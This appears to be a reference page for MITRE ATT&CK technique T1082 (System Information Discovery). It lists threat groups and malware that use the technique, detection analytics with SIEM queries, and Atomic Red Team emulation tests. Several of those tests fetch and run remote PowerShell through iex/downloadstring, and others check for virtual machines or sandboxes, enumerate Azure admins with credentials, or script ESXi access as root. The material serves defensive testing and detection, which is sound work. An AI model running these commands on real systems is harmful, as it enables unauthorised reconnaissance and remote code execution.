tfMITRE ATT&CK technique

System Information Discovery T1082

Tactic: Discovery
Platforms: ESXi, IaaS, Linux, macOS, Network Devices, Windows
Version: 3.0
Created: 31 May 2017
Last modified: 12 May 2026
Contributors: Maril Vernon @shewhohacks; Praetorian; Austin Clark, @c2defense

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 1%

Threat groups99th percentile · 99% of ATT&CK techniques have fewer threat groups attributed.

CampaignsTop 2%

Campaigns98th percentile · 98% of ATT&CK techniques have fewer campaigns recorded.

355

Tools & malwareTop 1%

Tools & malware99th percentile · 99% of ATT&CK techniques have fewer tools implementing them.

Detection rulesTop 4%

Detection rules96th percentile · 96% of ATT&CK techniques have fewer detection rules written.

tfMITRE ATT&CK technique

System Information Discovery T1082

Tactic: Discovery
Platforms: ESXi, IaaS, Linux, macOS, Network Devices, Windows
Version: 3.0
Created: 31 May 2017
Last modified: 12 May 2026
Contributors: Maril Vernon @shewhohacks; Praetorian; Austin Clark, @c2defense

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 1%

Threat groups99th percentile · 99% of ATT&CK techniques have fewer threat groups attributed.

CampaignsTop 2%

Campaigns98th percentile · 98% of ATT&CK techniques have fewer campaigns recorded.

355

Tools & malwareTop 1%

Tools & malware99th percentile · 99% of ATT&CK techniques have fewer tools implementing them.

Detection rulesTop 4%

Detection rules96th percentile · 96% of ATT&CK techniques have fewer detection rules written.

System Information Discovery MITRE reference T1082

Top 1%of all ATT&CK techniques for number of groups

58 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

ShinyHuntersG1057 ↗

Has used the MeshCentral command-line utility meshctrl.js to collect hostnames and IDs of compromised systems.1

created 2026-07-291 referenceaka UNC6240

VOID MANTICOREG1055 ↗

Has gathered system information and disseminated it back to C2.1

created 2026-04-201 referenceaka COBALT MYSTIQUE

MirrorFaceG1054 ↗

Has employed malicious macros and native Windows tools such as csvde.exe, nltest.exe and quser.exe for discovery.1 2 3

created 2026-04-173 referencesaka Earth Kasha

Storm-0501G1053 ↗

Has leveraged native Windows tools and commands such as systeminfo and open-source tools including OSQuery and ossec-win32 to query details about the endpoint.1

created 2025-10-191 reference

Contagious InterviewG1052 ↗

Has configured malicious webpages to identify the victim’s operating system by reviewing the details of the victims User-Agent of their browser.1

created 2025-10-191 referenceaka DeceptiveDevelopment

Medusa GroupG1051 ↗

Has leveraged cmd.exe to identify system info cmd.exe /c systeminfo.1

created 2025-10-151 reference

All 58 groups for this technique · 6 newest in this preview

355 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

Mini Shai-HuludS9043 ↗

Has gathered system information of victim hosts through the use of common discovery commands to include hostname, uname-a and printenv.1 Mini Shai-Hulud has also conducted system checks of the victim device to include enumerating the system type and the number of CPUs operating on victim host.2 3

created 2026-07-29MALWAREcarried by 1 group

TeamPCP Cloud StealerS9041 ↗

Has detected if it is on a developer machine by checking if the environmental variable GITHUB_ACTIONS != “true”.1 TeamPCP Cloud Stealer has also identified readable memory regions on CI/CD runners and enumerated system information using hostname and uname-a.2

created 2026-07-01MALWAREcarried by 1 group

LazyWiperS9039 ↗

Has used [System.Net.Dns]::GetHostName() and $env:COMPUTERNAME to enumerate the hostname of a system and determine if it is a domain controller.1

created 2026-04-22MALWARE

RustyWaterS9037 ↗

Has gathered the victim machine’s computer name.1

created 2026-04-21MALWAREcarried by 1 group

LAMEHUGS9035 ↗

Has the ability to execute Windows commands returned from C2 to gather system information.1 2

created 2026-04-21MALWAREcarried by 1 group

Tsundere BotnetS9034 ↗

Has collected the machine’s MAC address, total memory, GPU information and other system information.1

created 2026-04-20MALWAREcarried by 1 group

All 355 software entries for this technique · 6 newest in this preview

Offense vs defense T1082

Compare defenses against adversary use. Eight counts, ranking this technique against the entire ATT&CK Enterprise matrix. Attack sits left, defense right.

Range

Technique Campaign use over its cumulative rule count.

Campaigns · 14Sigma rules (cumulative) · 36Splunk ESCU (cumulative) · 18

System Information Discovery detection strategy DET0525

MITRE names one behaviour worth catching for this technique and breaks it into 6 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

System Discovery via Native and Remote Utilities

Enterprise

6 platforms

AN1452 · Windows

Detection of processes executing system environment inspection operations followed by access to OS configuration APIs or registry locations that expose OS version, architecture, patch level, or hardware characteristics. Defenders observe process execution retrieving system configuration metadata immediately after process startup.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Windows Registry Key ModificationDC0063	WinEventLog:Sysmon	EventCode=13, 14
Command ExecutionDC0064	WinEventLog:PowerShell	EventCode=4103, 4104, 4105, 4106

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Detect multiple discovery commands executed in short succession.
UserContext	Scope alerts to unusual user accounts or service accounts.

AN1453 · Linux

Execution of system enumeration commands such as uname, df, uptime, hostname, lscpu, and cat /etc/os-release through local terminal or scripts.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	execve

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
CommandList	Customize list of commands of interest (e.g., uname, lscpu, etc.)
TerminalSessionID	Correlate sessions for behavior context.

AN1454 · macOS

Execution of system info utilities like systemsetup, sw_vers, uname, or sysctl by terminal or scripted processes.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Command ExecutionDC0064	macos:unifiedlog	log show --predicate 'process == <utility>'

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ParentProcess	Determine if script or terminal executed the command.
FrequencyThreshold	Number of discovery commands in a short window.

AN1455 · ESXi

Execution of esxcli system hostname get, esxcli system version get, or esxcli hardware commands through SSH or local shell.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Command ExecutionDC0064	esxi:vmkernel	/var/log/vmkernel.log

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
SessionOrigin	Track SSH or console-based entry points.
CommandString	Customize detection for expected CLI queries.

AN1456 · IaaS

Use of cloud API calls (e.g., AWS EC2 DescribeInstances, Azure VM Inventory) to enumerate system configurations across assets.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Instance EnumerationDC0075	AWS:CloudTrail	DescribeInstances, GetConsoleOutput, DescribeImages

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
IAMRoleContext	Limit detection to non-standard identities performing these calls.
APIFrequency	Identify enumeration sweeps by volume.

AN1457 · Network Devices

Execution of show version, show hardware, or show system commands through CLI via SSH or console.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Command ExecutionDC0064	networkdevice:syslog	Privilege-level command execution

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
Username	Highlight unexpected users issuing diagnostic commands.
CommandList	Tailor to vendor-specific command syntax.

2 analytics

Certain commands are frequently used by malicious actors and infrequently used by normal users. By looking for execution of these commands in short periods of time, we can not only see when a malicious user was on the system but also get an idea of what they were doing.

TypeTTPCoverageLowSubmitted2013

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PLA	Process Lineage Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	hostname
process	create	ppid
process	create	exe

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

processes = search Process:Create
reg_processes = filter processes where (exe == "arp.exe" or exe == "at.exe" or exe == "attrib.exe"
 or exe == "cscript.exe" or exe == "dsquery.exe" or exe == "hostname.exe"
 or exe == "ipconfig.exe" or exe == "mimikatz.exe" or exe == "nbstat.exe"
 or exe == "net.exe" or exe == "netsh.exe" or exe == "nslookup.exe"
 or exe == "ping.exe" or exe == "quser.exe" or exe == "qwinsta.exe"
 or exe == "reg.exe" or exe == "runas.exe" or exe == "sc.exe"
 or exe == "schtasks.exe" or exe == "ssh.exe" or exe == "systeminfo.exe"
 or exe == "taskkill.exe" or exe == "telnet.exe" or exe == "tracert.exe"
 or exe == "wscript.exe" or exe == "xcopy.exe")
reg_grouped = group reg by hostname, ppid where(max time between two events is 30 minutes)
output reg_grouped

DNIF version of the above pseudocode.

_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $App=regex(arp\.exe|at\.exe|attrib\.exe|cscript\.exe|dsquery\.exe|hostname\.exe|ipconfig\.exe|mimikatz.exe|nbstat\.exe|net\.exe|netsh\.exe|nslookup\.exe|ping\.exe|quser\.exe|qwinsta\.exe|reg\.exe|runas\.exe|sc\.exe|schtasks\.exe|ssh\.exe|systeminfo\.exe|taskkill\.exe|telnet\.exe|tracert\.exe|wscript\.exe|xcopy\.exe)i group count_unique $App limit 100
>>_agg count
>>_checkif int_compare Count > 1 include

LogPoint version of the above pseudocode.

norm_id=WindowsSysmon event_id=1 image IN ["*\arp.exe", "*\at.exe", "*\attrib.exe", "*\cscript.exe", "*\dsquery.exe", "*\hostname.exe", "*\ipconfig.exe", "*\mimikatz.exe", "*\nbstat.exe", "*\net.exe", "*\netsh.exe", "*\nslookup.exe", "*\ping.exe", "*\quser.exe", "*\qwinsta.exe", "*\reg.exe", "*\runas.exe", "*\sc.exe", "*\schtasks.exe", "*\ssh.exe", "*\systeminfo.exe", "*\taskkill.exe", "*\telnet.exe", "*\tracert.exe", "*\wscript.exe", "*\xcopy.exe"]
| chart count() as cnt by host
| search cnt > 1

Unit tests

CAR’s own validation procedures for this analytic.

Within a command window, execute several of the commands in quick succession.

["ipconfig /all","hostname","systeminfo","reg.exe Query HKLM\\Software\\Microsoft"]

When entering on a host for the first time, an adversary may try to discover information about the host. There are several built-in Windows commands that can be used to learn about the software configurations, active users, administrators, and networking configuration. These commands should be monitored to identify when an adversary is learning information about the system and environment. The information returned may impact choices an adversary can make when establishing persistence, escalating privileges, or moving laterally.

TypeTTPCoverageModerateSubmitted2016

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PSA	Process Spawn Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	command_line
process	create	exe

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

To be effective in deciphering malicious and benign activity, the full command line is essential. Similarly, having information about the parent process can help with making decisions and tuning to an environment.

process = search Process:Create
info_command = filter process where (
 exe == "hostname.exe" or
 exe == "ipconfig.exe" or
 exe == "net.exe" or
 exe == "quser.exe" or
 exe == "qwinsta.exe" or
 exe == "sc" and (command_line match " query" or command_line match " qc")) or
 exe == "systeminfo.exe" or
 exe == "tasklist.exe" or
 exe == "whoami.exe"
)
output info_command

Splunk version of the above pseudocode search.

index=__your_sysmon_index__ EventCode=1 (Image="C:\\Windows\\*\\hostname.exe" OR Image="C:\\Windows\\*\\ipconfig.exe" OR Image="C:\\Windows\\*\\net.exe" OR Image="C:\\Windows\\*\\quser.exe" OR Image="C:\\Windows\\*\\qwinsta.exe" OR (Image="C:\\Windows\\*\\sc.exe" AND (CommandLine="* query *" OR CommandLine="* qc *")) OR Image="C:\\Windows\\*\\systeminfo.exe" OR Image="C:\\Windows\\*\\tasklist.exe" OR Image="C:\\Windows\\*\\whoami.exe")|stats values(Image) as "Images" values(CommandLine) as "Command Lines" by ComputerName

EQL version of the above pseudocode search.

process where subtype.create and
  (process_name == "hostname.exe" or process_name == "ipconfig.exe" or process_name == "net.exe" or process_name == "quser.exe" process_name == "qwinsta.exe" or process_name == "systeminfo.exe" or process_name == "tasklist.exe" or process_name == "whoami.exe" or (process_name == "sc.exe" and (command_line == "* query *" or command_line == "* qc *")))

LogPoint version of the above pseudocode.

norm_id=WindowsSysmon event_id=1 (image in ["*\hostname.exe", "*\ipconfig.exe", "*\net.exe", "*\quser.exe", "*\qwinsta.exe", "*\systeminfo.exe", "*\tasklist.exe", "*\whoami.exe"] OR (image="*\sc.exe" command IN ["* query *", "* qc *"))

Tests41Executorscommand_prompt 16 · powershell 14 · sh 9 · bash 2Need elevation5 of 41Have prerequisites4Have cleanup4Platformswindows, macos, linux, azure-ad

# Test Platform Executor Elevation Prereqs Cleanup Ref

01 System Information Discovery windows command_prompt — — —

Identify System Info. Upon execution, system info and time info will be displayed.

Attack Commandsrun with command_prompt

systeminfo
reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum

GUID66703791-c902-4560-8770-42b8a91f7667

02 System Information Discovery macos sh — — —

Identify System Info

Attack Commandsrun with sh

system_profiler
ls -al /Applications

GUIDedff98ec-0f73-4f63-9890-6b117092aff6

03 List OS Information linux, macos sh — — Yes

Identify System Info

Inputs

Name	Description	Type	Default Value
output_file	Output file used to store the results.	path	/tmp/T1082.txt

Attack Commandsrun with sh

uname -a >> #{output_file}
if [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi
if [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi   
if [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi
if [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi
uptime >> #{output_file}
cat #{output_file} 2>/dev/null

Cleanup Commands

rm #{output_file} 2>/dev/null

GUIDcccb070c-df86-4216-a5bc-9fb60c74e27c

04 Linux VM Check via Hardware linux bash Required — —

Identify virtual machine hardware. This technique is used by the Pupy RAT and other malware.

Attack Commandsrun with bashelevation required (root or admin)

if [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version | grep -i amazon; fi
if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name | grep -i "Droplet\|HVM\|VirtualBox\|VMware"; fi
if [ -f /sys/class/dmi/id/chassis_vendor ]; then cat /sys/class/dmi/id/chassis_vendor | grep -i "Xen\|Bochs\|QEMU"; fi
if [ -x "$(command -v dmidecode)" ]; then sudo dmidecode | grep -i "microsoft\|vmware\|virtualbox\|quemu\|domu"; fi
if [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i "vmware\|vbox"; fi
if [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i "vmware\|vbox\|qemu\|virtual"; fi
if [ -x "$(command -v lspci)" ]; then sudo lspci | grep -i "vmware\|virtualbox"; fi
if [ -x "$(command -v lscpu)" ]; then sudo lscpu | grep -i "Xen\|KVM\|Microsoft"; fi

GUID31dad7ad-2286-4c02-ae92-274418c85fec

05 Linux VM Check via Kernel Modules linux bash Required — —

Identify virtual machine guest kernel modules. This technique is used by the Pupy RAT and other malware.

Attack Commandsrun with bashelevation required (root or admin)

sudo lsmod | grep -i "vboxsf\|vboxguest"
sudo lsmod | grep -i "vmw_baloon\|vmxnet"
sudo lsmod | grep -i "xen-vbd\|xen-vnif"
sudo lsmod | grep -i "virtio_pci\|virtio_net"
sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"

GUID8057d484-0fae-49a4-8302-4812c4f1e64e

06 FreeBSD VM Check via Kernel Modules linux sh — — —

Identify virtual machine host kernel modules.

Attack Commandsrun with sh

kldstat | grep -i "vmm"
kldstat | grep -i "vbox"

GUIDeefe6a49-d88b-41d8-8fc2-b46822da90d3

07 Hostname Discovery (Windows) windows command_prompt — — —

Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed.

Attack Commandsrun with command_prompt

hostname

GUID85cfbf23-4a1e-4342-8792-007e004b975f

08 Hostname Discovery linux, macos sh — — —

Identify system hostname for FreeBSD, Linux and macOS systems.

Attack Commandsrun with sh

hostname

GUID486e88ea-4f56-470f-9b57-3f4d73f39133

09 Windows MachineGUID Discovery windows command_prompt — — —

Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry.

Attack Commandsrun with command_prompt

REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid

GUID224b4daf-db44-404e-b6b2-f4d1f0126ef8

10 Griffon Recon windows powershell — 1 —

This script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre in order simply print the recon results to the screen as opposed to exfiltrating them. Script. For more information see also https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon and https://attack.mitre.org/software/S0417/

Inputs

Name	Description	Type	Default Value
vbscript	Path to sample script	string	PathToAtomicsFolder\T1082\src\griffon_recon.vbs

Attack Commandsrun with powershell

cscript "#{vbscript}"

Dependenciesrun with powershell

Description

Sample script file must exist on disk at specified location (#{vbscript})

Check Prereq Commands

if (Test-Path "#{vbscript}") {exit 0} else {exit 1}

Get Prereq Commands

New-Item -Type Directory (split-path "#{vbscript}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1082/src/griffon_recon.vbs" -OutFile "#{vbscript}"

GUID69bd4abe-8759-49a6-8d21-0f15822d6370

11 Environment variables discovery on windows windows command_prompt — — —

Identify all environment variables. Upon execution, environments variables and your path info will be displayed.

Attack Commandsrun with command_prompt

set

GUIDf400d1c0-1804-4ff8-b069-ef5ddd2adbf3

12 Environment variables discovery on freebsd, macos and linux linux, macos sh — — —

Identify all environment variables. Upon execution, environments variables and your path info will be displayed.

Attack Commandsrun with sh

env

GUIDfcbdd43f-f4ad-42d5-98f3-0218097e2720

13 Show System Integrity Protection status (MacOS) macos sh — — —

Read and Display System Intergrety Protection status. csrutil is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not.

Attack Commandsrun with sh

csrutil status

GUID327cc050-9e99-4c8e-99b5-1d15f2fb6b96

14 WinPwn - winPEAS windows powershell — — —

Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn

Attack Commandsrun with powershell

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
winPEAS -noninteractive -consoleoutput

GUIDeea1d918-825e-47dd-acc2-814d6c58c0e1

15 WinPwn - itm4nprivesc windows powershell — — —

Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn

Attack Commandsrun with powershell

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
itm4nprivesc -noninteractive -consoleoutput

GUID3d256a2f-5e57-4003-8eb6-64d91b1da7ce

16 WinPwn - Powersploits privesc checks windows powershell — — Yes

Powersploits privesc checks using oldchecks function of WinPwn

Attack Commandsrun with powershell

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
oldchecks -noninteractive -consoleoutput

Cleanup Commands

rm -force -recurse .\DomainRecon -ErrorAction Ignore
rm -force -recurse .\Exploitation -ErrorAction Ignore
rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore
rm -force -recurse .\LocalRecon -ErrorAction Ignore
rm -force -recurse .\Vulnerabilities -ErrorAction Ignore

GUID345cb8e4-d2de-4011-a580-619cf5a9e2d7

17 WinPwn - General privesc checks windows powershell — — —

General privesc checks using the otherchecks function of WinPwn

Attack Commandsrun with powershell

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
otherchecks -noninteractive -consoleoutput

GUID5b6f39a2-6ec7-4783-a5fd-2c54a55409ed

18 WinPwn - GeneralRecon windows powershell — — —

Collect general computer informations via GeneralRecon function of WinPwn

Attack Commandsrun with powershell

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Generalrecon -consoleoutput -noninteractive

GUID7804659b-fdbf-4cf6-b06a-c03e758590e8

19 WinPwn - Morerecon windows powershell — — —

Gathers local system information using the Morerecon function of WinPwn

Attack Commandsrun with powershell

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Morerecon -noninteractive -consoleoutput

GUID3278b2f6-f733-4875-9ef4-bfed34244f0a

20 WinPwn - RBCD-Check windows powershell — — —

Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn

Attack Commandsrun with powershell

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
RBCD-Check -consoleoutput -noninteractive

GUIDdec6a0d8-bcaf-4c22-9d48-2aee59fb692b

21 WinPwn - PowerSharpPack - Watson searching for missing windows patches windows powershell — — —

PowerSharpPack - Watson searching for missing windows patches technique via function of WinPwn

Attack Commandsrun with powershell

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')
Invoke-watson

GUID07b18a66-6304-47d2-bad0-ef421eb2e107

22 WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors windows powershell — — —

PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.

Attack Commandsrun with powershell

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')
Invoke-SharpUp -command "audit"

GUIDefb79454-1101-4224-a4d0-30c9c8b29ffc

23 WinPwn - PowerSharpPack - Seatbelt windows powershell — — —

PowerSharpPack - Seatbelt technique via function of WinPwn. Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.

Attack Commandsrun with powershell

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')
Invoke-Seatbelt -Command "-group=all"

GUID5c16ceb4-ba3a-43d7-b848-a13c1f216d95

24 Azure Security Scan with SkyArk azure-ad powershell Required 3 Yes

Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. Once the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. See https://github.com/cyberark/SkyArk

Inputs

Name	Description	Type	Default Value
password	Azure AD password	string	T1082Az
username	Azure AD username	string	—

Attack Commandsrun with powershellelevation required (root or admin)

Import-Module "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1" -force      
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzAccount -Credential $Credential
Connect-AzureAD -Credential $Credential
Scan-AzureAdmins -UseCurrentCred

Cleanup Commands

$resultstime = Get-Date -Format "yyyyMMdd"
$resultsfolder = ("Results-" + $resultstime)
remove-item $env:temp\$resultsfolder -recurse -force -erroraction silentlycontinue

Dependenciesrun with powershell

Description

The SkyArk AzureStealth module must exist in PathToAtomicsFolder\..\ExternalPayloads.

Check Prereq Commands

if (test-path "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1"){exit 0} else {exit 1}

Get Prereq Commands

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/cyberark/SkyArk/3293ee145e95061a8980dd7b5da0030edc4da5c0/AzureStealth/AzureStealth.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1"

Description

The AzureAD module must be installed.

Check Prereq Commands

try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

Get Prereq Commands

Install-Module -Name AzureAD -Force

Description

The Az module must be installed.

Check Prereq Commands

try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

Get Prereq Commands

Install-Module -Name Az -Force

GUID26a18d3d-f8bc-486b-9a33-d6df5d78a594

25 Linux List Kernel Modules linux sh — — —

Enumerate kernel modules installed 3 different ways. Upon successful execution stdout will display kernel modules installed on host 2 times, followed by list of modules matching 'vmw' if present.

Attack Commandsrun with sh

lsmod
kmod list
grep vmw /proc/modules

GUID034fe21c-3186-49dd-8d5d-128b35f181c7

26 FreeBSD List Kernel Modules linux sh — — —

Enumerate kernel modules loaded. Upon successful execution stdout will display kernel modules loaded, followed by list of modules matching 'vmm' if present.

Attack Commandsrun with sh

kldstat
kldstat | grep vmm

GUID4947897f-643a-4b75-b3f5-bed6885749f6

27 System Information Discovery with WMIC windows command_prompt — — —

Identify system information with the WMI command-line (WMIC) utility. Upon execution, various system information will be displayed, including: OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions. https://nwgat.ninja/getting-system-information-with-wmic-on-windows/ Elements of this test were observed in the wild used by Aurora Stealer in late 2022 and early 2023, as highlighted in public reporting: https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/

Attack Commandsrun with command_prompt

wmic cpu get name
wmic MEMPHYSICAL get MaxCapacity
wmic baseboard get product
wmic baseboard get version
wmic bios get SMBIOSBIOSVersion
wmic path win32_VideoController get name
wmic path win32_VideoController get DriverVersion
wmic path win32_VideoController get VideoModeDescription
wmic OS get Caption,OSArchitecture,Version
wmic DISKDRIVE get Caption
Get-WmiObject win32_bios

GUID8851b73a-3624-4bf7-8704-aa312411565c

28 System Information Discovery windows command_prompt Required — —

The script gathernetworkinfo.vbs is employed to collect system information such as the operating system, DNS details, firewall configuration, etc. Outputs are stored in c:\Windows\System32\config or c:\Windows\System32\reg. https://www.verboon.info/2011/06/the-gathernetworkinfo-vbs-script/

Attack Commandsrun with command_promptelevation required (root or admin)

wscript.exe C:\Windows\System32\gatherNetworkInfo.vbs

GUID4060ee98-01ae-4c8e-8aad-af8300519cc7

29 Check computer location windows command_prompt — — —

Looks up country code configured in the registry, likely geofence. Upon execution, country code info will be displayed. - https://tria.ge/210111-eaz8mqhgh6/behavioral1

Attack Commandsrun with command_prompt

reg query "HKEY_CURRENT_USER\Control Panel\International\Geo"

GUID96be6002-9200-47db-94cb-c3e27de1cb36

30 BIOS Information Discovery through Registry windows command_prompt — — —

Looks up for BIOS information in the registry. BIOS information is often read in order to detect sandboxing environments. Upon execution, BIOS information will be displayed. - https://tria.ge/210111-eaz8mqhgh6/behavioral1 - https://evasions.checkpoint.com/techniques/registry.html

Attack Commandsrun with command_prompt

reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v SystemBiosVersion
reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v VideoBiosVersion

GUIDf2f91612-d904-49d7-87c2-6c165d23bead

31 ESXi - VM Discovery using ESXCLI windows command_prompt — 1 —

An adversary will using ESXCLI to enumerate the Virtual Machines on the host prior to executing power off routine. Reference

Inputs

Name	Description	Type	Default Value
vm_host	Specify the host name or IP of the ESXi Server	string	atomic.local
vm_pass	Specify the privilege user password on ESXi Server	string	pass
vm_user	Specify the privilege user account on ESXi Server	string	root
cli_script	Path to file with discovery commands	path	PathToAtomicsFolder\T1082\src\esx_vmdiscovery.txt
plink_file	Path to Plink	path	PathToAtomicsFolder\..\ExternalPayloads\plink.exe

Attack Commandsrun with command_prompt

echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"

Dependenciesrun with powershell

